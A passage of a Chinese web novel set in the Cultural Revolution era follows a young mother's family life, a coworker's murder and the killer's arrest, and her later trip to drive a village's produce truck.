可现在，突然冒出来一个搅屎棍，说要把他闺女弄去给人冲喜，当童养媳，过比他小时候还差劲的日子，余嘉祥不可能会放过他的。 “爹，有人要害你孙女……” 有关系不用是傻帽，他闺女也是那死老头的亲孙女，用他的关系料理四眼，余嘉祥是用的心安理得。 四眼本就不是个好东西，余华容整他整的很轻松。 于是等钟莹莹在陈显英的强烈要求下，坐了双月子，出月子回单位上班时，就看见原本属于四眼的那个位置，坐进了新人。 单位其他人都说是四眼亡妻亡子东窗事发，被人举报，才丢了工作，但钟莹莹总感觉中间好似有什么东西不对劲。 好一番拷问带着闺女的余嘉祥，她才得知了四眼的所作所为。 “算他跑的快！”钟莹莹咬牙切齿的想，要是她提前得知四眼要给她怀胎十月，‘千辛万苦’生下来的闺女弄到别人家当什么劳什子的童养媳，那她绝对不会让四眼走的这么轻松。 只是丢了工作被批斗，远远抵不过四眼想做的那件恶事成功之后对她闺女造成的伤害。 “下次有什么事，你跟我商量一下再做听见了吗？” 对于四眼事件的处理方式上，钟莹莹对余嘉祥很是不满。 有人要害她闺女，她这个当娘的竟然全程都被蒙在鼓里。 “四眼说的那事太恶心，我也是怕影响你做月子的心情才没和你说的。”余嘉祥解释了一下，但看他媳妇仍旧不高兴。 他继续哄道：“我以后会提前和你说的，你不要生气了。” 第177章 “这次就饶过你，没有下次，听到了吗？” “呜哇哇哇哇～” “孩子哭了，快去看看她咋回事，也不知道这**嘎大点的玩意，怎么这么能哭！” 自打出了月子，她爹娘回村去了，钟莹莹跟余嘉祥开始自己带娃，钟莹莹的噩梦就出现了。 她这个娃，也不知道精力怎么那么好，明明在肚子里的时候还是个小天使来着，一生出来饿了哭，尿了哭，不高兴了还是哭，一天要哭八百遍，那声音简直跟魔童降世般，绕梁三日还不绝于耳。 “我看看～”余嘉祥从摇篮里把孩子抱起来，一掀包被，一阵臭味顿时在整间卧室弥漫开来。 钟莹莹掩住口鼻：“你先给她收拾一下，我上外面透透气。” 她实在接受不了伺候孩子拉屎拉尿，及时这个娃是她亲生的。 不过还好余嘉祥这个当爹的足够负责，从孩子出生到现在，除了一开始的手忙脚乱外，现在他已经能够很好的照顾孩子的日常起居。 “呼～”还是外面空气新鲜。 钟莹莹在外面溜达了一圈回去时，她闺女已经被洗的干干净净，抱着个奶瓶在那傻乐了。 钟莹莹戳一下她肉乎乎的小脸蛋，她就笑一下，戳一下，笑一下…… 这小玩意到底咋生成的呢？她竟然造了个人出来，真的好神奇。 雌性生物都是女娲传人吧，每一个都是造物主诶！ 余嘉祥洗完孩子拉了的尿布，转头一看他媳妇给娃脸都戳红了。 偏偏大的小的都沉醉其中，他无奈的打断这一大一小：“别玩了，你一会给她脸戳出个印子，等下周娘过来，要骂你的。” 一提到陈显英，钟莹莹立马就把手指秒收回了。 这小东西一出生，她在她娘心里的地位直接就顺位下移了。 不让玩孩子，长夜漫漫，钟莹莹无聊的很，她问余嘉祥：“徐主任要退休这件事你怎么看？” 四眼走了，阴阳男也没啥竞争力，只要上面不空降，那妥妥的就是张姐继位。 “他应该就这几个月了，咱们办公室也就张姐有这个资历能上去，反正左右也不关咱俩的事。” 他将自家的大胖丫高高抱起：“我现在别的都管不着，只求能给咱家宝贝闺女平平安安带大，给她攒点家业，其他别的什么都不求了。” 钟莹莹斜睨他一眼：“你倒是看得开～” “看不开怎么办？咱俩跟她争那个位置吗？就比现在多点工资，天天开会，我回家上我老头那掏点，不比这强的多？” “再说了。” 余嘉祥笑嘻嘻道：“我要去争了，那谁来带闺女啊？” “要不你去？等以后退休了咱俩还能多落点退休金。” 钟莹莹白了他一眼。 “我去你个大头鬼。” 她未来的富婆一枚好吧，谁稀罕那点退休金。 “你不想去，我也不想去，那咱俩还是安安稳稳的过自己的小日子吧！” “我爹说，他给咱闺女寄了一条羊绒毯过来，应当这两天就到，要是我不搁家，有人敲门，你确定是邮递员再开门啊，听说最近外面不太平！” 钟莹莹：“你不在家你上哪去？” 她俩一个单位，上下班都在一起，除了去上茅房，可以说基本上就没有分开的时候。 余嘉祥无奈：“我就这么一说。” 他叹着气道：“也不知道现在的孩子都咋了，那么浮躁！你像咱俩以前读书的时候，那真是两耳不闻窗外事，一心只读圣贤书啊～” 钟莹莹也觉得现在的社会很畸形，好好的孩子不上学，去跟人家学什么批斗，整天不是斗老师，就是斗同学，更过分的连父母也给献祭斗了。 她道：“再等等就好了，黑暗总会过去，黎明终会到来！” 像钟莹莹这样的，知道未来还会有光明到来的还好。 那些一无所知，身陷囹圄的人，熬的才叫艰难。 十来年的压迫啊，但凡意志力有一点不坚定都熬不到这场无声战争结束。 * 安逸的日子总是过的很快，一眨眼钟瑞雪小朋友就满一岁了。 现在的她会说一些简单的词语，就是那嘴巴总是漏风，一张嘴，还没长几颗牙的牙床直接暴露在外，口水顺着嘴巴就滴流下来。 “吸溜～娘～抱～” 钟莹莹刚去公厕上完厕所，一迈进自家大门，她家小胖丫就推开自家爹爹的大腿，像一颗炮弹，跌跌撞撞但结结实实的撞在了钟莹莹大腿上。 钟莹莹低头，看着睁着大眼睛望着自己的闺女，丝毫不心软的喊余嘉祥：“快来把你闺女抱走！” 她上完厕所还没洗手，抱个球哦抱。 刚被孩子伤了心的老父亲被媳妇一喊，只能老老实实的过来要把小胖丫抱走。 偏生小胖丫非要黏着钟莹莹。 “我不要得、得抱～要娘！” 小丫头声音稚嫩，但说出的话却很无情，尤其是那口齿清晰的‘娘’和敷衍的‘得得’，在她爹爹心上扎了一刀又一刀。 “雪雪乖，你娘要洗手，你别捣乱，爹带你上屋拿奶糖吃去！” “不要糖糖！要娘！” 在糖和娘之间，钟瑞雪小朋友分的特别清楚，糖什么时候都有，她娘乐意抱着她玩的时间可不多。 余嘉祥实在拿她没辙，只能陪她一块站在原地等。 钟莹莹洗完手把手擦干净，抱起小丫头，刮了刮她的鼻子笑骂道：“真是小犟种，也不知道随了谁了！” 胖丫头高兴的把手拍的啪啪作响，虽然她听不明白她娘在说什么，但只要钟莹莹和她说话，她就开心。 钟莹莹家的院门虚掩着，王姐跟阿萍敲了敲门，听到里面的人的应答声，俩人推门进来。 “哟～都在家呢！” 钟莹莹笑着说：“稀客啊王姐，怎么这会来了？” “嘉祥正说着要做饭呢，你跟阿萍姐要不要留下来一块吃口便饭？” 王姐拒绝道：“饭就不吃了。” “我跟阿萍刚得了些豆腐，我寻思着给雪雪送点来嘛！” “雪雪，来，王阿姨抱抱！” 王姐把盛着豆腐的碗递给余嘉祥后，伸手就要去抱小胖丫。 方才还乐呵呵的小丫头很不给面子的把头一转，埋进钟莹莹的怀里不说话了。 钟莹莹只好提她打圆场道：“那啥，王姐你别介意哈，孩子有些胆小。” 胆小？王姐才不信这鬼话，平常钟莹莹起晚了，请假不乐意去上班，小丫头被她爹带去办公室上蹿下跳那股劲儿，可见不得一点胆小的影子。 要说是因为她娘抱着她，她不愿意让别人抱还差不多。 知道小丫头尿性的王姐也没拆穿她，只是强行把孩子的脸从她娘怀里掏出来，狠狠的揉捏了几把后，才对钟莹莹道：“没事，我不介意。” 她没孩子，阿萍也没孩子，办公室其他同事的娃都养的不大好看，她就稀罕钟瑞雪这般长得雪白漂亮的小娃娃。 自打四眼被撵走后，她跟阿萍占了四眼原先的那方院子，王姐三不五时的就来上钟莹莹家窜门，每次来还不是空着手来的。 这种现象在钟瑞雪小朋友满月能见人了后变得尤为频繁。 每天哪怕不上班，她都得上钟家走一遭看看小胖丫再回家去。 单位里有人蛐蛐余嘉祥，说他软脚虾，生了孩子还跟媳妇姓，王姐都帮着骂了回去。 “你家丫头养的可真好啊，整条胡同甚至整个县城我都没找着比你家这个养的更漂亮的妞儿～” 这话不是王姐胡说八道，实在是钟瑞雪小朋友出落的过于优秀了。 这年头的孩子都缺营养，但是钟瑞雪小朋友顿顿都要吃的饱饱的，不光顿顿吃，人家还有加餐。 在村里的爷爷奶奶养了好些只鸡鸭保证了她每天至少一个蛋蛋的供应量，在市里的那个爷爷虽然不满孩子跟女方姓，但也被孩子亲亲密密的一声爷爷给迷的不要不要的，整天处心积虑的跟同事换奶粉票，生怕把他宝贝孙女的奶给断了。 肉蛋奶全都不缺的情况下，钟瑞雪小朋友的个头蹿的很快，刚一岁，结实的都能跟人家两岁的娃拼一拼了。 钟莹莹打哈哈道：“哪里哪里～我家孩子就是伙食好，长得快了些～” 自家孩子的好自己清楚就行，非说别人的比不上自己的，那不是找骂呢吗？ “真的，我给你说……”王姐还想再说，阿萍拉了她一把，王姐不高兴的问：“阿萍你拉我干嘛？” 阿萍：“……” “你忘了我俩今天来干嘛的了？” 王姐：“来干嘛的？” 阿萍无语，这人还真忘了啊。 “我俩是来说四眼的事的。” 王姐这才想起来自己是来干嘛的，送豆腐只是撸孩子的顺便，她俩今天来是有正事要做的。 “莹莹，我给你说……”王姐凑到钟莹莹耳边很小声的说：“四眼他不是让赶出单位，被批斗了吗？那天我碰着他，他不知道听谁说，他工作是让嘉祥给搞没的，我看他那样子有点吓人，你俩带着孩子，最近可得小心一点。” “那种人没底线，什么事都能做出来的。” 钟莹莹没想到因为四眼跑的快，自己已经放了他一马了，这人还能想着来找自家麻烦，真是老寿星上吊，活腻歪了。 她对王姐道谢：“嗯，我知道了，我会注意的。” 王姐还没迈出她家院门，她已经想好了整治四眼的办法，哪有千日防贼的道理，她要做就要引蛇出洞，斩草除根。 第178章 “娘，你又给我们送这些菜来～我做饭又不好吃，嘉祥我俩天天在单位吃，这些太多了，根本就吃不完。” 钟莹莹一边啃着陈显英送来的嘎嘣脆的胡萝卜，一边恃宠而骄的给陈显英抱怨。 “吃都堵不住你的嘴？”陈显英装腔作势的要打她，钟莹莹立马闪身离她八丈远。 “哎～娘，别打，我错了，我真的知道错了～” 陈显英懒得跟她一般计较。 教训完闺女，她又换了一副面容，笑容和蔼对着钟瑞雪道：“雪雪，今天奶奶给你煮胡萝卜粥吃，别跟你娘上国营饭店了，她带你上店里也不给你弄吃的。” 国营饭店里的饭菜味道好，同样下的调味料也足，小孩子吃不了，钟莹莹也不给她吃这些。 小丫头不管她娘跟她奶奶之间的小九九，她只知道谁有好吃的跟谁亲近。 当即她就点头道：“奶奶，吃粥粥！” 经过一冬沉淀的胡萝卜，糖分积累达到了顶峰，切段煮粥，香甜又柔软，小朋友们都爱吃。 钟瑞雪小朋友这种不爱吃蔬菜的也爱上了胡萝卜。 陈显英把煮的软烂的胡萝卜段捣碎，和煮开花的米粒混合均匀，都不用另外加糖，已经能甜到小朋友的心里去。 钟瑞雪一顿能吃她那专属小木碗的满满一碗。 在给自己生的冤家和冤家生的小冤家做饭时，陈显英问钟莹莹：“嘉祥亲爹不是要过来吗？有说哪天到吗？要让嘉祥去接吗？” 钟瑞雪出生这一年以来，她在钟莹莹这碰见过余华容几回，也算是认识了。 以前她对余华容印象很不好，总觉得对方是个贪图美色的，娶了小媳妇就忘了前头的娃。 接触几次后，陈显英发现，他好像没有自己想象的那般丧心病狂，便也为了孩子捏着鼻子认下了这个亲家。 钟莹莹把啃的只剩下一点点尾巴的胡萝卜头随手扔到院里的菜地里，随意的擦了擦手后回陈显英：“我也不知道，他没说是哪一天，反正就这几天，从火车站到咱家就几步路的距离，他又不是没来过，接不接的无所谓。” 如非不想让余华容挣的钱都让他小儿子花去了，跟自己非亲非故的，钟莹莹是不在乎他来不来的。 其实他那些钱，对钟莹莹来说也是可要可不要的。 可对余嘉祥来说不一样，现在这个社会重孝道，他终归是要给余华容养老的。 钟莹莹见了余嘉祥的那个弟弟还有后娘，她不认为那个小胖子在他亲娘手里会有什么大出息，有那一大窝吸血鬼拖后腿呢。 小胖子户口跟他娘走，虽然现在他娘时不时的带他回余家打秋风，但顾忌着大儿子，到底余华容是没了要跟她再婚的意思。 这俩人掀不起什么风浪。 余华容老了，小胖子没能力养，养老的大头还是要落到余嘉祥头上。 钟莹莹跟余嘉祥又不是会无缘无故虐待老人的，现在拿的钱，就当是余华容提前预支的养老费了。 再说了，不患寡而患不均。 都是余华容的儿子，那胖子能花他的钱，凭什么余嘉祥不能？ “你呀！”陈显英重重的戳了一下钟莹莹的脑门 “这些话你搁家里说说就算了，到外面可千万给我往外倒倒出去，听见了没有？”要让别人听见，指定要蛐蛐她对自己公公有意见，不希望他往自家来，不孝顺的。 钟莹莹揉了揉被戳痛的额头，小声嘀咕了一句：“我知道，我又不傻！” 她聪明着呢，哪会让外人抓到她的把柄。 * 四眼被从劳改队里放出来时，整个人都瘦了一大圈，脸上泛着不正常的白。 媳妇早早的就带着闺女跟他划清了界限，就他那个老娘，在得知他要被批斗后，怕被殃及，也干脆利落的找了村里识字的人跟他登报脱离关系了。 桂花胡同的房子被单位收走了，他无处可去，白天干着他的改造掏粪活计，等到了晚上他就蜷缩在公厕边上的窝棚里。 一连几个月都没洗澡洗脸，头发长到直接盖住脸颊，这也是之前没人认出来他的原因。 “雷哥，你说是余嘉祥举报的我，你有什么证据？”自打住院那次，别人都带着东西，就阴阳男空着手去看他，四眼跟他之间那微薄的信任感直接就消失殆尽了。 阴阳男：“听说他爹是市里的大官，就你那点事，都多少年的陈芝麻烂谷子了，这么些年都没事，偏生你跟他打完架，你就被举报了，不是他还能是谁？” “单位其他人跟你无冤无仇的，做甚要举报你？” 其实阴阳男自己也不晓得究竟是不是余嘉祥举报的，但是这不妨碍他在四眼面前给余嘉祥上眼药。 单位里没了四眼之后，他的处境可谓是举步维艰。 老人不愿意跟他在一处，新来的跟张姐又有亲戚关系，对于他这个之前跟张姐竞争过的竞争对手就更是鄙夷。 可以说以前阴阳男上班那是享受，现在则纯粹是受罪。 “行，我知道了。”其实四眼并不是多在乎究竟是谁害他落得如此境地，他只是想找个发泄的对象。 现在他房子，工作，媳妇，孩子，老娘……一切的一切，统统都没有了。 身子又是这副残缺不全的样子，他光脚的不怕穿鞋的，只求在死前能多带几个走。 “那没啥事我就先回家去了。”见自己的挑拨离间奏效，阴阳男就想从公厕边离开。 这边人中黄的味道特别重，要不是四眼拦着他，他简直一秒也待不了。 “等等！”四眼叫住他。 阴阳男回头：“怎么了？” “你忘了一样东西！”话音落下，四眼手中的刀子穿过那层薄棉袄，深深的捅入阴阳男的心脏。 “你……唔……”阴阳男刚要大叫，嘴巴就被四眼给捂得死死的，一点声音也发不出来。 一开始他还能挣扎几下，但随着鲜血的流逝，他的动作逐渐平静下来。 四眼看他不动了，就放开了钳制着他的手，拖着他的胳膊，直接将他给拖到了自己的窝棚里。 至于地上留下的血迹，他则是泼了好些勺的粪便进行掩盖。 “你见着我家雷子了吗？他前天晚上就没回家，今儿个我上单位去找他，也没找见他！” 一个跛脚的老头在桂花胡同挨门挨户的敲门问旁人有没有看见自己儿子。 钟莹莹也被问到了。 想到王姐和阿萍昨天特别过来提醒自己的事情，钟莹莹心中忽然生出一丝不好的预感来。 她问老头：“雷哥前天走之前有给您说他要去干嘛吗？” 老头摇摇头：“没有啊，他就是说要出去上个茅房，我就自己先睡了。” “咱胡同里人多，那茅坑日日有人掏，他这么大个人总不可能掉茅坑里去了吧？” 老头觉得，他八成还是被什么事给绊住脚了，歇在别人家才没回来。 “上茅房？” 钟莹莹顿时思绪万千。 她上午刚打听到，四眼从劳改队放出来，就被安排掏粪去了的。 想到上辈子半夜刷短视频刷到的各种凶杀案，其中还真就有藏尸化粪池的…… “叔，您先别急，他没准有啥事耽误了，如果他上我家来，我指定给他说您正在找他呢。” 钟莹莹跟阴阳男之间有些矛盾，但是这跟老头没关系。 都住在同一片胡同，钟莹莹不想跟对方的关系搞的太僵。 糊弄走老头，钟莹莹把自家的大门关上。 原本她是想让老娘在家带孩子，她自己上公安局找黄有德过来查探一下，她们胡同的茅坑究竟有没有问题的。 但一想到穷途末路的四眼，她当即就决定，要带着老娘和孩子一块去公安局。 大家都在一起，遇上事还能相互有个照应。 万一四眼真的要暴起伤人，她搞点小动作还能拦上一拦。 留这一老一幼的在家，真要发生什么事，钟莹莹哭都没眼泪。 虽然是大白天，日头也高高挂着，钟莹莹牵着老娘穿过巷子时，总感觉心上有一丝丝凉意，尤其是路过那公厕时，她简直汗毛都直立起来了，总感觉那周围有双无形的眼睛在监视着自己。 在这种紧张的氛围下，钟莹莹的脚步不由得加快再加快。 余嘉祥去火车站接余华容了，本来是不用接的，但是他拍了电报过来，说是给孩子带了些大件过来，让余嘉祥过去搭把手。 钟莹莹估摸着，等自己从公安局带着人回来，他差不多才能到家。 要是她姐夫再跑快一些，可能都等不到余嘉祥回来，就能将茅坑附近检查个一清二楚。 身在县公安局的黄有德一接到钟莹莹的消息，就无比的重视。 他从业以来，钟莹莹这个小姨妹给他送了一笔又一笔的业绩，所以由不得他不信。 “娘，你跟莹莹暂时就先待局里，等我确定胡同那边安全了，你们再回家去！” “你们几个，跟我走！” 嘱咐完丈母娘，黄有德十分兴奋的就叫了几名警员跟他一块赶往案发现场。 钟莹莹跟他说话是在办公室里说的，陈显英抱着孩子等在大厅，这会儿还不明白发生了什么。 钟莹莹又给她说：“娘，你跟雪雪在此地不要走动，外面不安全，我回去给姐夫指下路。” 她有自保能力，在有防备的情况下，四眼害不到她。 第179章 “哎，你等等……”陈显英话还没说完钟莹莹就已经走远了，她叹了口气，“这孩子，也不知道着急忙慌的干啥去……”连句准话也不给她留。 平常钟莹莹的脚程是没那么快的，但今天她肾上腺素飙升，一路小跑着回到桂花胡同，成功的在黄有德带着人进院子前追上了他们。 “姐夫，你们小心点啊！”钟莹莹担忧的看着黄有德。 “放心吧！” 黄有德给了她一个安心的眼神。 胡同的公厕周围一如既往的安静，平日里除了解决三急之外，压根没人往这地来。 因为臭，实在太臭了，离老远就能闻到味了。 尤其现在厕所外不知为何多了大片的屎尿痕迹。 作为局里的老手，黄有德敏锐的察觉到其中异常之处。 他朝身后作出一个手势，他带来的那队警员便迅速的将胡同的各个出入口给围了个严严实实。 他的心腹大将祁丰更是直接忽略了地上的脏污，拿着警棍轻手轻脚的靠近了那处杂乱的窝棚。 随着他一步一步的靠近，所有人的心都揪在了一起，众人眼睛眨也不眨的盯着那堆破烂。 钟莹莹更是找了个安全的位置，直接蹲在了角落里，手掌触底，准备随时随地给四眼生造个绊脚石出来。 “我去！”祁丰用警棍刚要挑开一处烂稻草，一只握着尖刀的手直直的就朝他捅了过来。 得亏他早有准备，一棍子下去就给那人拿着的刀子敲脱了手。 眼见着那人从稻草堆里探身出来，还想再去捡刀子，祁丰直接一脚丫子给人死死的踩在了脚下。 于此同时，其他警员也迅速的围了过来。 “好你个四眼仔！竟然敢袭警！”祁丰特别*生气，方才要不是他躲的快，那一刀扎他身上，他不死也得残。 黄有德也沉声道：“四眼，之前的劳改你还没吃着教训吗？雷腾呢？你把他弄到哪里去了？” 以四眼害妻害子罪名来说，他本不该只进了一年不到的劳改队就被放出来的。 从道德层面来说，判他个千刀万剐都不为过。 奈何他前妻前子不是他亲手杀的，所以之前抓他只能从他搞封建迷信方面入手。 “报告队长，周边已搜寻完毕，没有发现其他人的踪迹，但是粪水下面我们发现了血迹。” 若是四眼不攻击祁丰还好，这一攻击，直接让其他警员给窝棚里里外外翻找了个遍，包括那被泼了粪的地面。 他们都忍着恶心，用小铲子和棍子铲干净地表的大粪还有其他垃圾，仔仔细细给下面检查了个干干净净。 现在可以说除了厕所的那个接粪的茅坑，其他地方都搜了。 “这么多人啊！” 就在这时，胡同里的其他人听见动静，探着脑袋出来瞧热闹。 “哎呦喂～这不四眼吗？他怎么让公安给抓了？” “不知道啊！你知道他犯什么事了吗？” “不知道。”身边人摇了摇头。 那么多公安押着四眼，整个桂花胡同的人都出来看热闹了。 “队长，茅坑里面确实有东西！” 被派去戳粪坑找尸体的警员，捏着鼻子，拿着根搅屎棍左戳戳，右搅搅的，还真在里面戳到了一个略微柔软的大块物体。 黄有德一听这话，大手一挥道：“给我掏！” 他说的轻松，但一众警员可就惨了，除了跟黄有德一块看守四眼的祁丰，其他警员纷纷拿起粪勺和铁锹，一勺勺一铲铲的，将粪坑内的固形物和液体统统都铲到了边上的木桶里。 铲着铲着，他们就忘了情，发了狠了。 桶装满了，没事，外面有的是地，直接泼到外面去。 里面的人干的起劲，公厕外面却是各种粪便到处乱飞。 “呕～” “我不行了～他们怎么能这么埋汰！” “我也不行了，我要回家洗洗鼻子去，我感觉我鼻子里都是屎味。” 看热闹的人被屎味熏的都看不下去了。 钟莹莹也不例外，要不是实在想验证阴阳男究竟是不是让四眼给干掉了，她早就拔腿跑路了。 “莹莹？你蹲这干嘛呢？怎么不回家去？”余嘉祥推着一自行车的东西刚一进胡同，就见自家媳妇鬼鬼祟祟的蹲在墙角处，不知道在看什么。 他推车靠近，还没等钟莹莹回答，入鼻就是一股‘芬芳’的气味。 “这什么味啊？谁家粪坑炸了？” 要不是双手还要扶着驮着一车重物的自行车，他当即就要掩面而逃。 他身后的余华容也被恶心的够呛，一直养尊处优的他哪受过这刺激啊。 “我姐夫抓犯人呢，外头味有点大，你快带爹上家里去！”钟莹莹害怕他们在外面待待时间久了，身上从里到外都会被染上一身‘香’味。 家里的洗澡间小小的，她可不想一会儿回家去跟人排队等洗澡。 余嘉祥虽然很好奇究竟发生了什么，但他有个优点就是把媳妇说的话奉为圭臬。 钟莹莹一发话，他当即就推着车子要带他爹进回家去。 那一大车子的东西实在显眼，不仅胡同里的人看见了，四眼也看见了。 仇人见面，分外眼红。 余嘉祥没认出来他，四眼却是死也忘不了余嘉祥的面容。 想到阴阳男死前告诉他的事，四眼也不知道哪来的力量，直接挣脱了祁丰的压制，一头莽向了余嘉祥的方向。 “我杀了你！” 他的动作极快，但钟莹莹的动作比他更快。 蹲了这么久的墙角，防的就是他这一手。 只见钟莹莹悄咪咪的一个举动，四眼鞋底的泥土忽然凸起一小块来，直接将他绊了一个踉跄，让他脸找地，偏离方向，一头撞在了胡同里的那棵桂花树上。 人一倒地，祁丰直接一个滑跪，压在了他身上。 奇耻大辱啊，奇耻大辱！ 到手了的犯人还能跑了，他这事回局里能让人笑话一辈子。 事实上，就算四眼不摔这一跤，他也不能耐余嘉祥如何。 手被手铐已经铐上了，凶器也被祁丰收缴了，他除了那个‘铁头功’对余嘉祥造不成任何伤害。 被按住的四眼双眼通红的看着余嘉祥，仿佛两人有血海深仇一般不住嘶吼着。 祁丰看他还不老实，直接一拳头给他的脸砸进了桂花树的枯枝败叶里。 这年头可没有什么优待犯人的规矩，更何况四眼这种犯案后妄图逃离犯罪现场的，祁丰打他那是一点也不手软。 挨了一拳头的四眼，眼神顿时清澈了不少。 但他仍旧仇视余嘉祥，包括跟着余嘉祥身后衣冠楚楚的余华容。 只不过碍于祁丰的威慑力，他不敢再做出跟方才一样的举动。 粪坑捞尸的活动也进行到最后一个环节。 随着一句被粪水泡的浮浮囊囊的尸体被打捞上岸，四眼知道，这回他是彻底栽了。 “我的儿啊！”一声哭嚎从还在看热闹的人群中传了出来。 一个跛脚老头哭哭啼啼的拨开人群，来到了公厕前面安置着尸体的那块地上。 他顾不得尸体身上沾染的脏污，一双手颤抖着摸索着尸体的脸，用衣袖一点一点擦去尸体脸上的粪便，等到尸体的面容清晰的露出来。 他更是不闻其臭般直接将尸体给揽在了怀里，抱着尸体仿佛像以前抱着自己年幼的儿子般。 这下子胡同众人更是炸开了锅般的沸腾了。 “我们茅房里竟然有死人？” “我的天呐，那不是雷老头吗？难不成那死的人是雷腾？” “这什么仇什么怨啊？” “杀人就杀人，干嘛要在我们胡同里杀？这搞的以后我晚上都不敢出来撒尿了！” 一时之间，众说纷纭。 见事情已成定局，钟莹莹也不再蹲守，光明正大的站起身来，混入到了胡同众人中去。 黄有德一声：“带走！” 他的队员们就扛着沾满了粪的尸体，押着四眼回公安局去了。 跛脚老头不愿意放开儿子，黄有德干脆利落的将他也一齐打包带走了。 晚上陈显英带着孩子回来时，还能闻到胡同里的臭味。 钟瑞雪个小丫头也皱着鼻头说：“臭臭！” “莹莹？今天你着急忙慌的找你姐夫是啥事啊？”她是被余嘉祥接回来的。 四眼被抓后，钟莹莹回到家里，一味不语，只是烧了热水，倒进洗澡间的那个水缸里，哗啦啦的洗了好几遍的澡，直至将浑身上下洗的只剩下肥皂味才算完。 陈显英问她话的时候，她正点了干薄荷叶满院子熏味道呢。 “娘，你还是别问了，你知道了晚上要睡不着觉的。” 凶杀案，非正常死亡，还离他们这么近，阴阳男在茅坑里时，没准他们还去上过厕所，跟尸体近距离接触，这放谁身上谁也受不了啊。 陈显英没好气道：“瞎说！你娘活这么大年纪，什么事没见过？” “那我给你说了啊，咱们胡同里……”想到之前她娘打枪的事情，钟莹莹吧啦吧啦就将四眼和阴阳男的事给抖落了个干干净净。 钟瑞雪让余华容给抱里屋里拆玩具了，听不见这些。 不过钟莹莹也不怕她听见，大字不识一个的小丫头，听了也是听不懂。 陈显英听了钟莹莹的话先是一愣，紧接着就说：“那茅厕让他们造成那样，那你们以后起夜咋整？” 钟莹莹真想给她竖个大拇指，死人这么大的事情，到了她娘嘴里，被关注的就只剩下了拉撒。 第180章 “姓名？” “四眼。” “家住何处？因何而杀人？” …… 审讯室内，警员问什么，四眼答什么，他现在已经不想再做无谓的挣扎了，不为别的，只因警棍甩在身上真他爹的痛啊。 四眼深知，他杀了人，还人赃俱获，他现在的结局除了一死还是一死。 跛脚老头在公安局大厅内，失魂落魄的抽泣着。 有不忍心的警员给他递了一张帕子并安慰他道：“人死不能复生，您节哀！” 老头猛然抬起头，目露凶光道：“节哀节你爷爷的哀，死的不是你儿子，你让我节哀！” “我儿子好好的，让人给害了，你们都是干什么吃的，我要见你们领导，我要见你们领导！！！” 子肖父，儿子不是个好人，爹又能是个什么好玩意。 年轻警员被他的怒吼声给吓了一大跳，等到他反应过来，随即就觉得自己一番好心全部喂了狗。 老头身上滂臭，来局里办事的人都离他远远的。 就只有年轻警员不忍，过来安抚了一下他。 现在他这么一闹，年轻警员也离他八丈远，偌大的一个办事大厅只余下一人一尸，顿显空旷。 一周后，钟莹莹收到四眼被判处死刑的消息，心里的大石头瞬时落下。 这周六她没在城里待，带着孩子回娘家去了。 胡同里的公厕自打被发现死了人，就没人敢再去如厕，哪怕改造人员将它给打扫的再干净，其他人都离它要多远有多远。 天晓得钟莹莹这一周是怎么过来的。 每天上班时还好，单位有厕所，能畅所欲拉，但一回到家，她只能跟余嘉祥四眼相对，面面相觑。 大人还好，晚上少吃点，能憋到第二天去单位再拉，她家那个小家伙可是一点都忍不了。 人家一顿也不能少吃，吃了没一会儿还就要拉。 好在家里有她爹这个大冤种在，她拉尿桶里，都是余嘉祥给提到公厕里给她清理的。 胡同里好些人家都在商量在自家的小院里挤也要挤一间厕所出来。 不然的话，他们担心自己去公厕上厕所，没准扫厕所的看他们不顺眼，就跟四眼一样，让人塞粪坑里了。 一想到可能会这么不体面的死去，所有人都打了个寒颤，恨不得把自家房子拆了全建厕所。 钟莹莹带着孩子拍拍屁股走的轻巧，独自一人留守在家的余嘉祥只能孤零零的看着工人给自家修厕所。 “嘿！哥你这成独脚兽了，怎么搞的？”一进家门，钟莹莹就看见了脚上打着石膏板的钟绍华。 她上去就是嘲讽开大。 “你再笑试试？”她的嘲笑声太大，给钟绍华气得拿起拐棍就敲了她一棍。 “别打，哥，我不说了，我不说了！”钟莹莹嘴欠，但认错求饶的速度异常的快。 钟绍华看她老实了，才放下拐棍道：“我听说你考驾驶证了？” 钟莹莹点点头：“对，怎么了？” 她上辈子就会开车，这辈子考驾驶证也就顺手的事。 花点钱，把证拿到手，有备无患。 “我这腿你也看了，开不了车了，但这周咱们村还得上高家村拉一趟货，村里其他会开车的有自己的活要干，这一时半会儿找不到合适的司机，你要是能行，就给我顶一趟班。” 钟绍华也实在是没别的办法了，他这跤摔的不是时候，正赶上咸菜场收货的忙季，停一天工对村里来说，都是偌大的损失。 钟绍华舍不得平白无故的让村中利益受损。 “嗐～我还以为啥事呢，这活我接了。”一个小货车而已，钟莹莹并不觉得驾驭它对自己来说是多困难的事情。 正好她已经很长时间没见着她缩小版的妈了，这回上高家村也能看看她近况如何，打探一下高传家那个瘪三有没有再做恶？ 顺道她还能去见一见高家娣，就是不知道她人还在不在高家村。 高家娣从中专毕业以后进糖厂上班，没多久就经人介绍结了婚。 她夫家县里的，所以钟莹莹觉得这一趟她不一定能见着人。 把孩子交给她老娘带，钟莹莹带着她嫂子油门一踩，没一会儿就到了高家村。 “哟～这不莹莹吗？你哥今天怎么没来？”得益于这些年的往来，高村长已经把钟家岗的所有人都混了个脸熟。 “我哥跌了一跤，我来替他的班。” “村长，今天的菜还要麻烦你们帮忙给搬上车。”让钟莹莹跟钟明月俩人自己把所有的货搬上车那是不可能的。 钟莹莹天天坐办公室，以前在家里干农活养出来的力气都散的差不多了。 如果真拼命去搬，这一车的货，她倒也不是搬不完，但是，搬完之后，她的胳膊腿会是什么样，她就不敢保证了。 高村长客气道：“那有啥！不就搬个货吗？你放心，我喊几个小伙子来，保准给你把货搬的整整齐齐的。” “不过，”他话锋一转，又道：“你哥没事吧？摔的重不重？要不要我过去看望一下他？” 每次都是钟绍华来高家村采购，给他们送钱票来。 高村长可以毫不客气的说，钟绍华可是他们村的财神爷，他可是一点也不希望对方出什么三长两短。 “您放心吧，我哥没事，就是骨头裂了一条缝，医生说休息俩月就没事了，都出院了，不用特意去探望他。” “他住院的时候，连我都没通知，我还是今天回家才知道他跌了一跤的事。” 钟绍华在医院住院只住了三天就出院了，中间除了钟明月在那照顾他，他没让任何一个人过去。 “你们先搬着，我去家娣家看看去！”钟莹莹不担心高村长以次充好，跟她耍滑头。 他们村跟高家村的生意不是一次性买卖，合作了这么些年，傻子都知道什么事能做，什么事不能做。 更何况，她嫂子不还在这看着呢，她就更不担心了。 跟以往一样，假借看望高家娣的理由，钟莹莹装作若无其事的溜达到了象药家外面。 这年头农村人家里有人的情况下，一般院子的大门是不会关的。 